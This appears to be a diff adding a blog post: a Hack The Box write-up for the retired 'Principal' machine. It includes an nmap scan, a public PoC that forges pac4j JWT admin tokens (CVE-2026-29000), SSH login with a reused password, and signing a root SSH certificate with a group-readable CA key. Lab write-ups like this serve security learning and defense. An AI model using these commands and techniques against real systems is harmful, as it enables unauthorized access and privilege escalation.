|
| 1 | +--- |
| 2 | +published: true |
| 3 | +layout: post |
| 4 | +title: "HTB: Principal" |
| 5 | +categories: [hackthebox,htb] |
| 6 | +tags: [htb,hackthebox,medium,retired] |
| 7 | +--- |
| 8 | + |
| 9 | + |
| 10 | + |
| 11 | +# Introduction |
| 12 | + |
| 13 | +Principal is a medium-rated Linux machine on Hack The Box that features a Java-based internal platform running on Jetty with pac4j JWT authentication. The attack path involves exploiting CVE-2026-29000, a JWT authentication bypass in pac4j, to forge admin tokens and enumerate the application's API. Credentials discovered in the settings endpoint are reused for SSH access. Privilege escalation abuses an SSH Certificate Authority (CA) private key readable by the deployment service group, allowing us to sign a certificate for root and log in directly. |
| 14 | + |
| 15 | +# Enumeration |
| 16 | + |
| 17 | +## Nmap |
| 18 | + |
| 19 | +Starting with a full port scan to identify running services: |
| 20 | + |
| 21 | +```bash |
| 22 | +nmap -sC -sV -p- -v principal.htb |
| 23 | +``` |
| 24 | + |
| 25 | +Two ports came back open: |
| 26 | + |
| 27 | +``` |
| 28 | +PORT STATE SERVICE VERSION |
| 29 | +22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.14 (Ubuntu Linux; protocol 2.0) |
| 30 | +| ssh-hostkey: |
| 31 | +| 256 b0:a0:ca:46:bc:c2:cd:7e:10:05:05:2a:b8:c9:48:91 (ECDSA) |
| 32 | +|_ 256 e8:a4:9d:bf:c1:b6:2a:37:93:40:d0:78:00:f5:5f:d9 (ED25519) |
| 33 | +8080/tcp open http-proxy Jetty |
| 34 | +|_http-title: Principal Internal Platform - Login |
| 35 | +|_http-server-header: Jetty |
| 36 | +``` |
| 37 | + |
| 38 | +SSH (OpenSSH 9.6p1) and a Jetty web server on port 8080. The web application was titled "Principal Internal Platform" and redirected to a `/login` page. The `X-Powered-By` header revealed `pac4j-jwt/6.0.3` -- an important detail that becomes relevant later. |
| 39 | + |
| 40 | +## Web Application |
| 41 | + |
| 42 | +Browsing the site on port 8080 revealed an internal corporate platform with a login page. Inspecting the page source uncovered a JavaScript file at `http://principal.htb:8080/static/js/app.js` which contained detailed comments about the authentication flow and available API endpoints: |
| 43 | + |
| 44 | +```javascript |
| 45 | +/** |
| 46 | + * Authentication flow: |
| 47 | + * 1. User submits credentials to /api/auth/login |
| 48 | + * 2. Server returns encrypted JWT (JWE) token |
| 49 | + * 3. Token is stored and sent as Bearer token for subsequent requests |
| 50 | + * |
| 51 | + * Token handling: |
| 52 | + * - Tokens are JWE-encrypted using RSA-OAEP-256 + A128GCM |
| 53 | + * - Public key available at /api/auth/jwks for token verification |
| 54 | + * - Inner JWT is signed with RS256 |
| 55 | + * |
| 56 | + * JWT claims schema: |
| 57 | + * sub - username |
| 58 | + * role - one of: ROLE_ADMIN, ROLE_MANAGER, ROLE_USER |
| 59 | + * iss - "principal-platform" |
| 60 | + */ |
| 61 | + |
| 62 | +const JWKS_ENDPOINT = '/api/auth/jwks'; |
| 63 | +const AUTH_ENDPOINT = '/api/auth/login'; |
| 64 | +const DASHBOARD_ENDPOINT = '/api/dashboard'; |
| 65 | +const USERS_ENDPOINT = '/api/users'; |
| 66 | +const SETTINGS_ENDPOINT = '/api/settings'; |
| 67 | +``` |
| 68 | + |
| 69 | +This was a goldmine -- not only the full list of API endpoints, but the exact JWT structure including encryption algorithms, claim names, role values, and the JWKS endpoint for the public key. All the ingredients needed to forge a token if a vulnerability existed in the authentication library. |
| 70 | + |
| 71 | +# Foothold |
| 72 | + |
| 73 | +## CVE-2026-29000 -- pac4j JWT Authentication Bypass |
| 74 | + |
| 75 | +The `X-Powered-By: pac4j-jwt/6.0.3` header identified the authentication framework. Searching for vulnerabilities in this version led to [CVE-2026-29000](https://www.cve.org/CVERecord?id=CVE-2026-29000), an authentication bypass that allows forging valid JWE tokens using only the public key from the JWKS endpoint. |
| 76 | + |
| 77 | +A [Python PoC](https://github.com/alihussainzada/CVE-2026-29000-Python-PoC-pac4j-JWT-AuthenticationBypass-Poc) was available. Running it against the target: |
| 78 | + |
| 79 | +```bash |
| 80 | +python3 poc.py \ |
| 81 | + --jwks http://principal.htb:8080/api/auth/jwks \ |
| 82 | + --user admin \ |
| 83 | + --role ROLE_ADMIN |
| 84 | +``` |
| 85 | + |
| 86 | +``` |
| 87 | +[*] Fetching JWKS... |
| 88 | +[+] Public key loaded |
| 89 | +[+] PlainJWT created |
| 90 | +
|
| 91 | +=== Malicious JWE Token === |
| 92 | +
|
| 93 | +eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwg... |
| 94 | +
|
| 95 | +Use it as: |
| 96 | +Authorization: Bearer eyJhbGciOiAiUlNBLU9BRVAtMjU2IiwgImVuYyI6ICJBMTI4R0NNIiwg... |
| 97 | +``` |
| 98 | + |
| 99 | +The exploit generated a forged JWE token with admin privileges using only the publicly available JWKS key. |
| 100 | + |
| 101 | +## API Enumeration with Forged Token |
| 102 | + |
| 103 | +Loading the forged Bearer token into Burp Suite, each API endpoint was enumerated. |
| 104 | + |
| 105 | +### /api/dashboard |
| 106 | + |
| 107 | +The dashboard endpoint returned activity logs, system stats, and user information: |
| 108 | + |
| 109 | + |
| 110 | + |
| 111 | +The activity logs revealed several usernames: `admin`, `svc-deploy`, `jthompson`, `amorales`, and `kkumar`. It also showed that `svc-deploy` was used for automated deployments and had SSH certificates issued to it. |
| 112 | + |
| 113 | +### /api/users |
| 114 | + |
| 115 | +The users endpoint returned the full user directory with 8 accounts: |
| 116 | + |
| 117 | + |
| 118 | + |
| 119 | +Key users included `admin` (Sarah Chen, IT Security), `svc-deploy` (Deploy Service, DevOps), and several engineers and managers. The `svc-deploy` account had a note: "Service account for automated deployments via SSH certificate auth." |
| 120 | + |
| 121 | +### /api/settings |
| 122 | + |
| 123 | +The settings endpoint was the most revealing -- it exposed the full system configuration including security settings: |
| 124 | + |
| 125 | + |
| 126 | + |
| 127 | +The critical finding was an encryption key in the security configuration: `D3pl0y_$$H_Now42!`. The infrastructure section also confirmed SSH certificate authentication was enabled with the CA config stored at `/opt/principal/ssh/`. |
| 128 | + |
| 129 | +## SSH Access via Password Reuse |
| 130 | + |
| 131 | +The encryption key `D3pl0y_$$H_Now42!` looked like it could double as a password. Given it appeared deployment-related, it was tested against the `svc-deploy` user over SSH: |
| 132 | + |
| 133 | + |
| 134 | + |
| 135 | +```bash |
| 136 | +ssh svc-deploy@principal.htb |
| 137 | +``` |
| 138 | + |
| 139 | +Password reuse confirmed -- we landed a shell as `svc-deploy`. |
| 140 | + |
| 141 | +## User Flag |
| 142 | + |
| 143 | +``` |
| 144 | +svc-deploy@principal:~$ cat user.txt |
| 145 | +61f68.............2e59b90d |
| 146 | +``` |
| 147 | + |
| 148 | +# Privilege Escalation |
| 149 | + |
| 150 | +## Enumeration with LinPEAS |
| 151 | + |
| 152 | +After running `linpeas.sh`, several findings stood out. First, `/usr/bin/bash` had world-writable permissions, but without a SUID bit or anything calling it as root, this wasn't directly exploitable. |
| 153 | + |
| 154 | +More interesting was a set of files readable by the `deployers` group (which `svc-deploy` belonged to): |
| 155 | + |
| 156 | +``` |
| 157 | +-rw-r----- 1 root deployers 168 Mar 10 14:35 /etc/ssh/sshd_config.d/60-principal.conf |
| 158 | +-rw-r----- 1 root deployers 288 Mar 5 21:05 /opt/principal/ssh/README.txt |
| 159 | +-rw-r----- 1 root deployers 3381 Mar 5 21:05 /opt/principal/ssh/ca |
| 160 | +``` |
| 161 | + |
| 162 | +## SSH Certificate Authority Abuse |
| 163 | + |
| 164 | +The custom SSH config at `/etc/ssh/sshd_config.d/60-principal.conf` revealed: |
| 165 | + |
| 166 | +``` |
| 167 | +PubkeyAuthentication yes |
| 168 | +PasswordAuthentication yes |
| 169 | +PermitRootLogin prohibit-password |
| 170 | +TrustedUserCAKeys /opt/principal/ssh/ca.pub |
| 171 | +``` |
| 172 | + |
| 173 | +The key detail: `TrustedUserCAKeys` was configured but there was no `AuthorizedPrincipalsFile` or `AuthorizedPrincipalsCommand`. Without these restrictions, certificate principals are mapped directly to system usernames. This means anyone who can sign a certificate with the CA key can authenticate as any user -- including root. |
| 174 | + |
| 175 | +And we had access to the CA private key at `/opt/principal/ssh/ca` through the `deployers` group. |
| 176 | + |
| 177 | +The `PermitRootLogin prohibit-password` setting blocks password authentication for root but explicitly allows public key and certificate-based authentication. |
| 178 | + |
| 179 | +## Forging a Root SSH Certificate |
| 180 | + |
| 181 | +First, a new SSH key pair was generated on the attacker machine: |
| 182 | + |
| 183 | +```bash |
| 184 | +ssh-keygen -t ed25519 -f root |
| 185 | +``` |
| 186 | + |
| 187 | +Next, the CA private key was copied from `/opt/principal/ssh/ca` on the target to the attacker machine. Then the new public key was signed with the CA key, specifying `root` as the principal: |
| 188 | + |
| 189 | +```bash |
| 190 | +ssh-keygen -s ca -I root -n root root.pub |
| 191 | +``` |
| 192 | + |
| 193 | +``` |
| 194 | +Signed user key root-cert.pub: id "root" serial 0 for root valid forever |
| 195 | +``` |
| 196 | + |
| 197 | +## Root Shell |
| 198 | + |
| 199 | +With the signed certificate, logging in as root was straightforward: |
| 200 | + |
| 201 | +```bash |
| 202 | +ssh -i root root@principal.htb |
| 203 | +``` |
| 204 | + |
| 205 | +``` |
| 206 | +root@principal:~# whoami; id |
| 207 | +root |
| 208 | +uid=0(root) gid=0(root) groups=0(root) |
| 209 | +``` |
| 210 | + |
| 211 | +## Root Flag |
| 212 | + |
| 213 | +``` |
| 214 | +root@principal:~# cat /root/root.txt |
| 215 | +120e3f.................424e65 |
| 216 | +``` |
| 217 | + |
| 218 | +# Summary |
| 219 | + |
| 220 | +| Stage | Technique | |
| 221 | +| --- | --- | |
| 222 | +| Enumeration | Nmap scan, JavaScript source analysis revealing API endpoints and JWT structure | |
| 223 | +| Authentication Bypass | CVE-2026-29000 pac4j JWT forgery using public JWKS key | |
| 224 | +| API Enumeration | Forged admin token to dump dashboard, users, and settings | |
| 225 | +| Foothold | Password reuse -- settings encryption key used as `svc-deploy` SSH password | |
| 226 | +| Privilege Escalation | SSH CA private key readable by `deployers` group, forged root certificate | |
| 227 | + |
| 228 | +Principal is a well-designed machine that chains together modern attack techniques. The initial foothold hinges on recognizing the pac4j version and finding the corresponding CVE, while the privilege escalation requires understanding SSH certificate-based authentication. The key takeaway is that SSH CA keys must be protected as carefully as root credentials -- if a service account can read the CA private key, it can become any user on the system. The absence of `AuthorizedPrincipalsFile` in the SSH config turns a readable CA key into a direct path to root. |
| 229 | + |
| 230 | +# Attack Mindmap |
| 231 | + |
| 232 | + |
0 commit comments